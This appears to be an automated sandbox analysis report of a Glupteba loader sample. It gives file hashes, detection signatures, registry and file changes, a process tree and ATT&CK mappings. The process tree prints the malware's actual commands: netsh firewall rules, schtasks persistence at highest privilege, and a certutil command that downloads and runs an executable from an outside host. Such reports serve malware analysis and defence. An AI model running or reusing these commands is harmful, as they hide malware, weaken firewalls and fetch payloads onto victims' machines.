glupteba | be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f

General

Target

be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
Size

3.8MB
MD5

84dbc916b21ee7dd49131e4bb996c3b0
SHA1

cbff0b9a2ca635515722798efb84f53694300afa
SHA256

be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f
SHA512

d547238b6ddf466b1ab4945f951325e005ef7f9661bf28c9f3fa407eb4169520c16e613f02b646f8443fc383efe8e2e2775689a000540c29c444e355d60a8377

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3840-131-0x0000000003F80000-0x0000000004677000-memory.dmp	family_glupteba
behavioral2/memory/3840-132-0x0000000000400000-0x00000000036C2000-memory.dmp	family_glupteba
behavioral2/memory/1336-139-0x0000000000400000-0x00000000036C2000-memory.dmp	family_glupteba
behavioral2/memory/980-146-0x0000000000400000-0x00000000036C2000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 444 created 3840	444	svchost.exe	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
PID 444 created 980	444	svchost.exe	csrss.exe
PID 444 created 980	444	svchost.exe	csrss.exe
PID 444 created 980	444	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

980 csrss.exe
3412 patch.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
980	csrss.exe
3412	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SmallSunset = "\"C:\\Windows\\rss\\csrss.exe\""	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2488 bcdedit.exe

pid	process
2488	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe

description	ioc	process
File opened for modification	C:\Windows\rss	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
File created	C:\Windows\rss\csrss.exe	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3888 schtasks.exe
2768 schtasks.exe

pid	process
3888	schtasks.exe
2768	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exebe127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.execsrss.exe

pid	process
3840	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
3840	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
980	csrss.exe
980	csrss.exe
980	csrss.exe
980	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	3840	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
Token: SeImpersonatePrivilege	3840	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
Token: SeTcbPrivilege	444	svchost.exe
Token: SeTcbPrivilege	444	svchost.exe
Token: SeBackupPrivilege	444	svchost.exe
Token: SeRestorePrivilege	444	svchost.exe
Token: SeBackupPrivilege	444	svchost.exe
Token: SeRestorePrivilege	444	svchost.exe
Token: SeSystemEnvironmentPrivilege	980	csrss.exe
Token: SeBackupPrivilege	444	svchost.exe
Token: SeRestorePrivilege	444	svchost.exe
Token: SeBackupPrivilege	444	svchost.exe
Token: SeRestorePrivilege	444	svchost.exe
Token: SeBackupPrivilege	444	svchost.exe
Token: SeRestorePrivilege	444	svchost.exe
Token: SeBackupPrivilege	444	svchost.exe
Token: SeRestorePrivilege	444	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exebe127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 444 wrote to memory of 1336	444	svchost.exe	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
PID 444 wrote to memory of 1336	444	svchost.exe	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
PID 444 wrote to memory of 1336	444	svchost.exe	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
PID 1336 wrote to memory of 3904	1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe	cmd.exe
PID 1336 wrote to memory of 3904	1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe	cmd.exe
PID 3904 wrote to memory of 2916	3904	cmd.exe	netsh.exe
PID 3904 wrote to memory of 2916	3904	cmd.exe	netsh.exe
PID 1336 wrote to memory of 1544	1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe	cmd.exe
PID 1336 wrote to memory of 1544	1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe	cmd.exe
PID 1544 wrote to memory of 3752	1544	cmd.exe	netsh.exe
PID 1544 wrote to memory of 3752	1544	cmd.exe	netsh.exe
PID 1336 wrote to memory of 980	1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe	csrss.exe
PID 1336 wrote to memory of 980	1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe	csrss.exe
PID 1336 wrote to memory of 980	1336	be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe	csrss.exe
PID 444 wrote to memory of 3888	444	svchost.exe	schtasks.exe
PID 444 wrote to memory of 3888	444	svchost.exe	schtasks.exe
PID 444 wrote to memory of 2768	444	svchost.exe	schtasks.exe
PID 444 wrote to memory of 2768	444	svchost.exe	schtasks.exe
PID 444 wrote to memory of 3412	444	svchost.exe	patch.exe
PID 444 wrote to memory of 3412	444	svchost.exe	patch.exe
PID 980 wrote to memory of 2488	980	csrss.exe	bcdedit.exe
PID 980 wrote to memory of 2488	980	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
"C:\Users\Admin\AppData\Local\Temp\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3840

C:\Users\Admin\AppData\Local\Temp\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe
"C:\Users\Admin\AppData\Local\Temp\be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1336

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3904

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:2916

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23.exe" enable=yes
4⤵
PID:3752

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3888

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://bbistrovantonbb.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:2768

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:3412

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:444

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
84dbc916b21ee7dd49131e4bb996c3b0

SHA1
cbff0b9a2ca635515722798efb84f53694300afa

SHA256
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f

SHA512
d547238b6ddf466b1ab4945f951325e005ef7f9661bf28c9f3fa407eb4169520c16e613f02b646f8443fc383efe8e2e2775689a000540c29c444e355d60a8377

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
84dbc916b21ee7dd49131e4bb996c3b0

SHA1
cbff0b9a2ca635515722798efb84f53694300afa

SHA256
be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f

SHA512
d547238b6ddf466b1ab4945f951325e005ef7f9661bf28c9f3fa407eb4169520c16e613f02b646f8443fc383efe8e2e2775689a000540c29c444e355d60a8377

Download Submit
memory/980-140-0x0000000000000000-mapping.dmp

Download
memory/980-146-0x0000000000400000-0x00000000036C2000-memory.dmp

Filesize
50.8MB

Download
memory/980-143-0x0000000004100000-0x00000000044A7000-memory.dmp

Filesize
3.7MB

Download
memory/1336-133-0x0000000000000000-mapping.dmp

Download
memory/1336-136-0x0000000003E36000-0x00000000041DD000-memory.dmp

Filesize
3.7MB

Download
memory/1336-139-0x0000000000400000-0x00000000036C2000-memory.dmp

Filesize
50.8MB

Download
memory/1544-137-0x0000000000000000-mapping.dmp

Download
memory/2488-149-0x0000000000000000-mapping.dmp

Download
memory/2768-145-0x0000000000000000-mapping.dmp

Download
memory/2916-135-0x0000000000000000-mapping.dmp

Download
memory/3412-147-0x0000000000000000-mapping.dmp

Download
memory/3752-138-0x0000000000000000-mapping.dmp

Download
memory/3840-130-0x0000000003BCF000-0x0000000003F76000-memory.dmp

Filesize
3.7MB

Download
memory/3840-132-0x0000000000400000-0x00000000036C2000-memory.dmp

Filesize
50.8MB

Download
memory/3840-131-0x0000000003F80000-0x0000000004677000-memory.dmp

Filesize
7.0MB

Download
memory/3888-144-0x0000000000000000-mapping.dmp

Download
memory/3904-134-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads